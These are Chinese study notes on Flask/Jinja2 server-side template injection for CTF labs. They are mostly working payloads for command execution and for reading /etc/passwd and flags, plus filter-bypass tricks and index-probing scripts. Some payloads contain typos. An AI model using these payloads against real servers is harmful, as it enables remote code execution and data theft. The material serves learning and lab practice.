[SSTI]总结
SSTI 总结笔记,基本上是在 flask 环境中实现
SSTI
SSTI(Server Side Template Injection,服务器端模板注入),模板指的就是Web开发中所使用的模板引擎(如python 的一些框架 jinja2 mako tornado django,PHP 框架smarty twig,以及 java 框架jade velocity)。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。
SSTI 注入的引发,本质是因为没有遵循数据代码分离的原则,导致输入的数据被当成代码执行。将用户传入的 {{xxx}} 当做了变量,至此造成了 SSTI 注入
python 的一些框架 jinja2 mako tornado django,PHP 框架smarty twig,以及 java 框架jade velocity
举个最简单的例子
print("hello {username}")
在这里,username 可控,当我们输入的为 {{7*7}} 的时候,我们提交的参数会被当做变量,当我们传入其他恶意参数的时候,此时开发者有没有对其进行严格的过滤,由此可能会引发任意命令执行
贴一张基本判断的图
venv环境
venv虚拟环境(类似于docker):创建和管理虚拟环境的模块
用于应对每个组件要求的配套应用版本不同,可以把它想象成一个容器,该容器供你用于存放你的python脚本以及安装各种 python 第三方木块,容器里的环境和本机是完全分开的(就像在 windows 主机上通过 VMware 跑一台 Ubuntu 虚拟机一样),也就是说你在 venv 下通过 pip 安装的 python 第三方模块是不会存在于你本机的环境下的
安装 venv
python --version
apt update
apt install python3.10-venv
创建 venv 环境安装 flask
cd /opt
python3 -m venv flask1
创建名为 flask1 的 venv 环境
cd flask1
ls
可以看到包含所有 python 组件
执行 flask1 路径下的 python
法1:/opt/flask1/bin/python3 demo.py
绝对路径
法2:
cd flask1 source .bin/activate
进入 flask1 虚拟环境
安装 flask
pip3 install flask
python3
import flask
quit()
deactivate
退出虚拟环境
Flask
Flask 是一个使用 python 编写的轻量级 web 应用框架,python 可直接用 flask 启动一个 web 服务页面。
Flask特点:良好的文档、丰富的插件、包含开发服务器和调试器(debugger)、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。
其 WSGI 工具箱采用 Werkzeng,模板引擎则使用 Jinja2,Flask 使用 BSD 授权。
使用:
/opt.flask1
vim demo.py
from flask import Flask //启动flask模块,创建一个Flask类
app = Flask(__name__) //name类似于魔术方法,调用这个方法能获取到当前app的name,如果在程序内部运行,得到的是main,通过别的程序引入的话就是demo.py
@app.route('/') //路由,基于字符串查找
def hello():
return "hello benben"
if __name__ == '__main__': //只能被python直接运行,而不能被作为组件或模块被调用
app.run()
靶场(SSTILAB):
docker pull mcc0624/flask_ssti:last
docker run -p 18022:22 -p 8089:80 -i -t mcc0624/flask_ssti:last
flask变量及方法
格式化字符串
Flask变量规则,通过向规则参数添加变量部分,可以动态构建URL
访问/hello/iamhacker
发现动态创建了一个网页。原理就是通过url传进name变量。
flask内置函数和对象(获取config)
flask内置函数
**lipsum** flask的一个方法,可以用于得到`__builtins__`,而且`lipsum.__globals__`含有os模块:`{{lipsum.__globals__['os'].popen('ls').read()}}`
**url_for** flask的一个方法,可以用于得到`__builtins__`,而且`url_for.__globals__['__builtins__']`含有`current_app`
**get_flashed_message** flask的一个方法,可以用于得到`__builtins__`,而且`url_for.__globals__['__builtins__']`含有`current_app`
**attr **用于获取变量,`""|attr("__class__")`相当于`"".__class__`
flask内置对象
cycler
joiner
namespace
config
request
session
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app
模块进而查看配置文件
current_app
调用current_app
相当于调用flask
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
flask模版介绍
render_template就是加载html的内容渲染后再展示。在html中的{{xxx}},会被动态变量所替代。
例如
def index():
m='123'
return render_template("index.html",m1=m)
index.html中的{{m1}}就会变成m的值。
render_tempplate_string
flask模板漏洞介绍
这种写法就不会有漏洞出现。
先格式化再渲染可能会出现漏洞
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
str = request.args.get('ben')
html_str='''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','5000')
输入{{7*7}}会得到49
我们来实验一下。
实验成功
继承关系
python,flask没有办法直接执行python指令。子类无法做到的事情先找到父类,再找到其他子类。
通过python代码,可知以下信息
继承关系
A是父类,B 是 A 的子类, C D 是 B 的子类
A
B
C
D
魔术方法
__class__ 查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现**wrapper**字眼,说明没有重载
__globals__ 函数会议字典的形式返回当前对象的全部全局变量(popen、eval)
__builtins__ 用于查看当前所有导入的内建函数,当我们启动一个 python 解释器的时候,此时我们没有对任何变量或者函数进行声明,但我们依旧可以调用一些函数,这些函数即为内建函数
__import__ 用于动态加载类和函数
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如`a['b']`,就是`a.__getitem__('b')`
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,`__import__('os').popen('ls').read()]`
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的`__dict__`里
__getattribute__ 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性
object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的实例
object和type既是类也是实例,因为object是type的一个实例,但是type又是object的子类,type自己创造了自己,object是type的父类,type创造了object
常用过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length()/count():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
基本知识
学会自己查找利用点构造 payload
通过 object 查找所有子类
''.__class__.__mro__[-1].__subclasses__()
''.__class__.__base__.__base__.__subclasses__()
''.__class__.__bases__[0].__bases__[0].__subclasses__()
object.__subclasses__()
这里的 **''**
可以替换成 **() {} []**
, 但是继承链不一定一样, 需要改一下代码
格式化输出, 方面查看索引位置
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)
获取某个子类所在命名空间的所有内容 (子类必须重载过 __init__
)
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals
Python 2 两种方式都能用
Python 3 只能用 __globals__
查找对应模块
search = ['os', 'open', 'popen', 'linecache', '__builtins__']
for index, item in enumerate(''.__class__.__mro__[-1].__subclasses__()):
for name in search:
try:
if name in item.__init__.__globals__:
print(name, index, item)
except:
pass
Python 2
回显如下
('linecache', 59, <class 'warnings.WarningMessage'>)
('__builtins__', 59, <class 'warnings.WarningMessage'>)
('linecache', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 61, <class '_weakrefset._IterationGuard'>)
('__builtins__', 62, <class '_weakrefset.WeakSet'>)
('os', 72, <class 'site._Printer'>)
('__builtins__', 72, <class 'site._Printer'>)
('os', 77, <class 'site.Quitter'>)
('__builtins__', 77, <class 'site.Quitter'>)
('open', 78, <class 'codecs.IncrementalEncoder'>)
('__builtins__', 78, <class 'codecs.IncrementalEncoder'>)
('open', 79, <class 'codecs.IncrementalDecoder'>)
('__builtins__', 79, <class 'codecs.IncrementalDecoder'>)
通过 os 和 linecache 包执行命令
# os
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('whoami').read()
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['system']('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['popen']('whoami').read()
# linecache
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()
通过 __builtins__
读写文件, 导入模块, 执行代码
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/test.txt').read()
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/test.txt').read()
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/a.txt','w').write('hello')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/a.txt','w').write('hello')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')
另外, Python2 可以直接通过 **__subclasses__()**
下的 file 读写文件
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
Python 3
回显如下
__builtins__ 100 <class '_frozen_importlib._ModuleLock'>
__builtins__ 101 <class '_frozen_importlib._DummyModuleLock'>
__builtins__ 102 <class '_frozen_importlib._ModuleLockManager'>
__builtins__ 103 <class '_frozen_importlib.ModuleSpec'>
__builtins__ 119 <class '_frozen_importlib_external.FileLoader'>
__builtins__ 120 <class '_frozen_importlib_external._NamespacePath'>
__builtins__ 121 <class '_frozen_importlib_external._NamespaceLoader'>
__builtins__ 123 <class '_frozen_importlib_external.FileFinder'>
open 125 <class 'codecs.IncrementalEncoder'>
__builtins__ 125 <class 'codecs.IncrementalEncoder'>
open 126 <class 'codecs.IncrementalDecoder'>
__builtins__ 126 <class 'codecs.IncrementalDecoder'>
open 127 <class 'codecs.StreamReaderWriter'>
__builtins__ 127 <class 'codecs.StreamReaderWriter'>
open 128 <class 'codecs.StreamRecoder'>
__builtins__ 128 <class 'codecs.StreamRecoder'>
open 143 <class 'os._wrap_close'>
popen 143 <class 'os._wrap_close'>
__builtins__ 143 <class 'os._wrap_close'>
open 144 <class 'os._AddedDllDirectory'>
popen 144 <class 'os._AddedDllDirectory'>
__builtins__ 144 <class 'os._AddedDllDirectory'>
__builtins__ 145 <class '_sitebuiltins.Quitter'>
__builtins__ 146 <class '_sitebuiltins._Printer'>
__builtins__ 148 <class 'types.DynamicClassAttribute'>
__builtins__ 149 <class 'types._GeneratorWrapper'>
__builtins__ 150 <class 'warnings.WarningMessage'>
__builtins__ 151 <class 'warnings.catch_warnings'>
__builtins__ 174 <class 'operator.attrgetter'>
__builtins__ 175 <class 'operator.itemgetter'>
__builtins__ 176 <class 'operator.methodcaller'>
__builtins__ 180 <class 'reprlib.Repr'>
__builtins__ 191 <class 'functools.partialmethod'>
__builtins__ 192 <class 'functools.singledispatchmethod'>
__builtins__ 193 <class 'functools.cached_property'>
__builtins__ 196 <class 'contextlib._GeneratorContextManagerBase'>
__builtins__ 197 <class 'contextlib._BaseExitStack'>
Python 3 的利用点主要在 __builtins__
中 (通过 eval 导入模块), 方法同上
open 和 popen 也能利用
# open
''.__class__.__mro__[-1].__subclasses__()[125].__init__.__globals__['open']('d:/test.txt').read()
# popen
''.__class__.__mro__[-1].__subclasses__()[143].__init__.__globals__['popen']('whoami').read()
Python3,file 类已经取消了,我们可以使用 <class '_frozen_importlib_external.FileLoader'>
这个类来读取文件
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
判断 Python 版本
''.__class__.__mro__[-1].__subclasses__()
Python 2 开头几行
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>
......
<class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>
......
Python 3 开头几行
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>...
对比一下
Python 2 存在 <type xxx>
和 <class xxx>
, 而 Python 3 只有 <class xxx>
Python 3 有 async_generator
, 虽然 asyncio 是 3.5 引入的, 不过也能作为一个判断依据
Python 3 有bytes_iterator
, 因为 bytes 类型有改动, 与 Python 2 相差较大
SSTI常用注入模块利用
脚本查询模块
import requests
url = input("Enter URL: ")
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} #name为网页传参变量名称
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(response.text)
print(i)
except:
pass
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
}
for i in range(500):
url = "http://644ac504-cb34-4a57-9364-fd881b516b31.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'FileLoader' in res.text:
print(i)
常用注入模块
文件读取
查找子类_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
FileLoader 的利用
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
读取配置文件**config**
下的FLAG
{{url_fo.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
eval命令执行
import requests
url = input("Enter URL: ")
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"} #init初始化,builtins内建模块,python会加载内建模块中的函数到内存中
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if 'eval' in response.text: #查找哪一个模块下有 eval
print(response.text)
print(i)
except:
pass
常见的含有 eval 函数的类:
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize
{{''.__class__.__bases[0]__.__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
os模块
os 模块中有 system 和 popen 两个函数可以用于执行命令,其中 system 函数没有回显,我们需要配合 curl 来外带数据或者反弹 shell,popen 函数执行命令有回显,因此如果可以使用 popen 函数的话我们会优先使用这个
{{''.__class__.__base__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /").read()}}
importlilb模块
在 python 中,存在类 <class '_frozen_importlib.BuiltinImporter'>
,其中可以提供 python 中的 import 语句,如此一来,我们可以利用该类中的 load_module
将 os 模块导入,使用 os 模块来执行命令
{{''.__class__.__base__[0].__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
linecache模块
linecache 用于读取任意文件的某一行,这个函数中也引入了 os 模块,因此我们也可以利用这个函数去执行命令
{{''.__class__.__base__.__subclasses__()[191].__init__.__globals__['os'].popen("ls -l /opt").read()}}
subprocess.Popen类
从 python 2.4 开始,可以使用 subprocess 这个模块来产生子进程,并且连接到子进程的标准输入/输出/错误中,还可以得到子进程的返回值
subprocess 用于替代其他几个老的模块或者函数,比如 os.system,os.open 等首先遍历含有 linecache 这个函数的子类的索引号
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name= {{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text: print(i)
{{''.__class__.__base__.__subclasses__()[200].('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
例题(重庆橘子科技SSTILAB——jinja2模板注入)
查看所有子类发现os._wrap_close
在第118个所以构造语句
{{''.__class__.__base__.__subclasses__()[117].__init__}}
发现没有出现wrapper 字样,说明已经重载可以被利用
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
看看全局变量有哪些函数可以直接利用
试了一下发现popen可以利用
读一下根目录
发现flag
Bypass
过滤{{ }}
尝试{% %}
代替
##
可以有和{% %}
相同的效果
解题思路
判断{{ }}
被过滤,尝试{% %}
除此之外,也可以使用 {%print(......)%}
这样的语法来代替 {{
,当有 print
的时候,会存在回显
判断语句能否正常执行{% if 2>1 %}world{%endif%}
,由于 {% if ... %}world{% endif %}
没有回显,所以需要配合 curl 来进行反弹 shell 或者将数据外带用 dnslog 回显
再构造如下语句{% if ''.__class__ %}worldddd{%endif%}
有回显则说明''.__class__
有内容
构造脚本查询可以使用"popen"的子类编号,代码意在判断哪个指令下有 popen 可以利用,那么cat /etc/passwd
就能正常执行,回复给 if 的就为 True ,一旦为 True ,就能输出 WORLD 字符
import requests
url = "http://localhost:8089/flasklab/level/2"
for i in range(500):
data = {"code":'{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}WORLD{% endif %}'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if "WORLD" in response.text:
print(i,"-->",data)
break
except:
pass
117模块能直接调用 popen ,使用 print 执行命令
{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read())%}
过滤[ ]
使用 __getitem__
绕过
getitem()
是python 的一个魔术方法,可以用来输出序列属性中的某个索引处的元素
对字典使用时,传入字符串,返回字典相对应键所对应的值
对列表使用时,传入整数返回列表对应索引的值
使用__getitem__
可获取列表的某一个值,可以代替[]
{{''.__class__.__base__.__subclasses__()[1]}}
等价于
{{''.__class__.__base__.__subclasses__().__getitem__(1)}}
import requests
url = "http://localhost:8089/flasklab/level/4"
for i in range(500):
data = {"code":'{{().__class__.__base__.__subclasses__().__getitem__('+str(i)+')}}'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"-->",response.text)
break
except:
pass
payload:{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}
使用 get()
, 仅限 dict
''.__class__.__mro__.__getitem__(-1).__subclasses__().get(72).__init__.__globals__.get('os').system('whoami')
使用 pop()
,会删除值,慎用
pop()
可以返回指定序列属性中的某个索引处的元素,或者指定字典属性中某个键对应的值
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40) ('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init_ _.__globals__.pop('__builtins__').pop('eval')
('__import__("os").popen("ls /").read()')}} // 指定字典属性
不建议使用这个方法,因为 pop 会删除相应位置的值,但对于这个表达式的 list 来说使用没有问题
使用 .
访问
除了标准的python语法使用点(.)
外,还可以使用中括号([])
来访问变量的属性
{{"".__class__}}
{{""['__classs__']}}
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(72).__init__.__globals__.os.system('whoami')
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(59).__init__.__globals__.linecache.os.popen('whoami').read()
Flask 环境下测试成功, 但在 python shell 中运行会报错
过滤单/双引号
使用 request对象绕过
request
在 flask 中可以访问基于 HTTP 请求传递的所有信息,此 request 并非 python 函数,而是在 flask 内部的函数
**request.args.key**
获取get传入的key的值
**request.values.x1**
所有参数
**request.cookies**
获取cookie传入参数
**request.headers**
获取请求头请求参数
**request.from.key**
获取post传入参数(Content-Type:application/x-www-form-urlencoded 或 multipart/form-data)
**request.data**
获取post传入参数(Content-Type:a/b)
**request.json**
获取post传入json参数(Content-Type:application/json)
利用 request.args.key** **传参绕过单双引号过滤进行命令执行
GET:?a=popen&b=cat /flag
POST:code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[**request.args.a**](**request.args.b**).read())}}
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
使用 chr() 绕过
同上
过滤下划线
过滤器
过滤器通过管道符|
与变量连接,并且在括号中可能有可选的参数
flask常用过滤器
length():获取一个序列或者字典的长度并将其返回
int():将值转换为int类型
float():将值转换为float类型
lower():将字符串转换为小写
upper():将字符串转换为大写
reverse():反转字符串
replace(value,old,new):将value中的old替换为new
list():将变量转换为列表类型
string():将变量转换成字符串类型
join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr():获取对象的属性
例题
{{.__class__.__base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /flag').read()}}
attr绕过下划线过滤
{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}
使用request方法
GET:?cla=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__
POST:code={{''|attr(request.args.cla)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('cat /flag')|attr('read')()}}
使用unicode编码
{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}
将带有__
的函数进行 unicode encode
{{''|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("cat /flag")|attr("read")()}}
使用16位编码
{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}
将下划线全部替换成\x5f
{{''|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(199)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("cat /flag")|attr("read")()}}
base64编码
未能实现,python3下编码问题
{{''|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(199)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat /flag')|attr('read')()}}
格式化字符串
%c%(95)
即下划线
{{''|attr('%c%cclass%c%c'%(95,95,95,95))|attr('%c%cbase%c%c'%(95,95,95,95))|attr('%c%csubclasses%c%c'%(95,95,95,95))()|attr('%c%cgetitem%c%c'%(95,95,95,95))(199)|attr('%c%cinit%c%c'%(95,95,95,95))|attr('%c%cglobals%c%c'%(95,95,95,95))|attr('%c%cgetitem%c%c'%(95,95,95,95))('os')|attr('popen')('cat /flag')|attr('read')()}}
通过flask内嵌函数/方法提取下划线进行拼接
过滤点
用中括号[]
代替.
python语法除了可以使用点.
来访问对象属性外,还可以用中括号[]
{{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}
用attr()
绕过
payload语句中不会用到点.
和中括号[]
().__class__
等同于
()|attr("__class__")
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__") ()|attr("__getitem__") (77)|attr("__init__")|attr("__globals__")|attr("__getitem__") ("os")|attr("popen")("ls /")|attr("read")()}}
过滤关键词
过滤class``arg``value``int``global
等关键字
以class
为例
编码绕过
base64
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')] ['ZXZhbA=='.decode('base64')] ('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64') )}}
//与下面等价
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['__builtins__']['eval'] ('__import__("os").popen("ls /").read()')}}
Unicode 编码绕过
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0 069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c'] ('__import__("os").popen("ls /").read()')}}
//等同于
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['__builtins__']['eval'] ('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002 f').read()}}
//等同于
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['os'].popen('ls /').read()}}
hex 编码绕过
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\ x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
字符串拼接
'__cl'+'ass__'``'__cl''ass__'
使用Jinja2中的~
进行拼接
{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
使用过滤器(reverse反转、replace替换、join拼接等)
{set a="__ssalc__"|reverse%}{{()[a]}}
{set a="__ssalc__"[::-1]%}{{()[a]}}
{set a="__claee__"|replace("ee","ss")%}{{()[a]}}
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
{%set a=['__cla','ss__']|join%}{{()[a]}}
利用python的chr()
由于不能直接使用 chr 函数,因此我们需要通过__builtins__
来找到 chr
{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(95)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
这里贴一个脚本,用于快速构造 ascii 字符
<?php
$a = 'whoami';
$result = '';
for($i=0;$i<strlen($a);$i++)
{
$result .= 'chr('.ord($a[$i]).')%2b';
}
echo substr($result,0,-3);
?>
过滤数字
过滤器length
通过length去构造我们所需要的数字
{%set a='aaaaaaaaaa'|length %}{{a}}
10
{%set a='aaaaaaaaaa'|length*'aaa'|length %}{{a}}
30
{%set a='aaaaaaaaaa'|length*'aaa'|length-'aaa'|length %}{{a}}
117
例题
payload:{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}
将数字替换后整段代码由两部分组成,第一部分构造数字,第二部分把数字替换成字母:
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen('ls /').read()}}
混合过滤
获取字符串
dict()
:用来创建一个字典
join
:将一个序列中的参数值拼接成字符串
{%set a=dict(benben=1)%}{{a}}
创建字典a,键名benben,键值1
在无法使用引号的情况下,可使用**dict()**
生成字典,配合**join**
获得键名生成字符串
使用 join 拼接出字符串 “class":
{%set a=dict(__cla=a,ss__=a)|join%}{{a}}
创建字典a,join把参数值拼接成字符串
获取符号
利用flask内置函数和对象获取符号
使用list可拆分字符,从0计数
{%set a=({}|select()|string())|list%}{{a}}
{%set a=({}|select()|string())[24]%}{{a}}
第24位获取下划线
{%set a=(self|string())[18]%}{{a}}
获取空格
{%set a=(self|string|urlencode)[0]%}{{a}}
获取百分号
实例
案例1
案例2
获取数字
获取下划线,使用pop
弹出字符
web369
# ''.join(dict(po=a,p=a)) ==> pop
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
